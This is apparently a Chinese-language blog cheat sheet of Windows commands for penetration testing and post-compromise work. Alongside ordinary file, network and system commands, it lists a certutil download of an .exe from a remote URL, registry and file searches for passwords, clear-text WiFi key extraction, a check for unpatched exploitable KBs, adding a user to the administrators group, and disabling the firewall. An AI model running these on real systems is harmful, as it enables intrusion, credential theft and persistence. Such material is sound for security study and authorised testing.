如果我有七個(gè)小時(shí)的時(shí)間來(lái)砍樹(shù)，那么我一定會(huì)花6個(gè)小時(shí)來(lái)磨我的斧頭！
滲透命令：
certutil-----從遠(yuǎn)程url下載文件
案例:certutil -urlcache -split -f http://baidu.com/test.exe
findstr-----查找文件后綴結(jié)果
findstr /s /i "pass" *.py*
reg query HKLM /f password /t REG_SZ /s-----搜集注冊(cè)表中的各種密碼數(shù)據(jù)
查看有沒(méi)有開(kāi)啟遠(yuǎn)程鏈接，運(yùn)行下面命令：
REG QUERY "HKEY_LOCAL_macHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
結(jié)果：1表示關(guān)閉，0表示開(kāi)啟
快速查找未打補(bǔ)丁的exp
systeminfo>bzhack.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type bzhack.txt|@find /i "%i"|| @echo %i you can exp)&del /f /q /a bzhack.txt
常用命令：
ipconfig/all-----網(wǎng)絡(luò)配置情況
ipconfig /displayDNS-----查看本地DNS緩存
netsh wlan show profile-----查看連接過(guò)的 wifi 名
netsh wlan show profile WiFi-name key=clear 獲取 wifi 對(duì)應(yīng)的的密碼
query user-----查當(dāng)前機(jī)器中正在線的用戶,看管理員在不在
net view------顯示域列表/計(jì)算機(jī)列表
net user------查看當(dāng)前所有賬號(hào)，判斷域規(guī)模
net group-----查看當(dāng)前域所有的組名
net user bzhack pass /add-----增加用戶
net user bzhack /del-----刪除用戶
net Localgroup-----添加、顯示本地組
net localgroup administrators bzhack /add-----將bzhack加入管理員組
net share----- 查看當(dāng)前機(jī)器開(kāi)啟的共享
文件操作：
md-----建文件夾
rd-----刪除文件夾
tree-----顯示文件夾結(jié)構(gòu)
dir-----顯示磁盤目錄內(nèi)容
copy-----復(fù)制文件
Xcopy-----copy加強(qiáng)版，復(fù)制文件夾
del-----刪除文件
ren-----[原文件/夾名][新文件/夾名]修改文件名
type-----查看文本內(nèi)容
dir /a /s /b d:"*.conf"-----搜索d盤里conf結(jié)尾的文件
edit-----文本編輯
type-----顯示文件內(nèi)容
網(wǎng)絡(luò)命令：
netstat -a----- 列出所有端口
netstat -p----- 顯示 PID 和進(jìn)程名稱
netstat -r----- 顯示核心路由信息
netstat -at-----列出所有tcp連接
netstat -au-----列出所有ucp連接
netstat -an |find "3389" 查看開(kāi)啟3389端口的信息
netstat -ano | findstr "ESTABLISHED" 查看當(dāng)前正處于連接狀態(tài)的端口及ip
netstat -ano | findstr "LISTENING" 查看當(dāng)前正處于監(jiān)聽(tīng)狀態(tài)的端口及ip
其他命令
ver-----查看版本
hostname-----查看機(jī)器名
whoami-----查看權(quán)限
systeminfo-----查看配置
tasklist-----查看進(jìn)程
cls-----清屏
net start-----查看開(kāi)啟的服務(wù)，比如Terminal Services 遠(yuǎn)程連接服務(wù)
net stop sharedaccess-----關(guān)閉防火墻
set-----查看當(dāng)前機(jī)器的環(huán)境變量,看有沒(méi)有我們可以直接利用到的語(yǔ)言環(huán)境
fsutil fsinfo drives-----列出當(dāng)前機(jī)器上的所有盤符
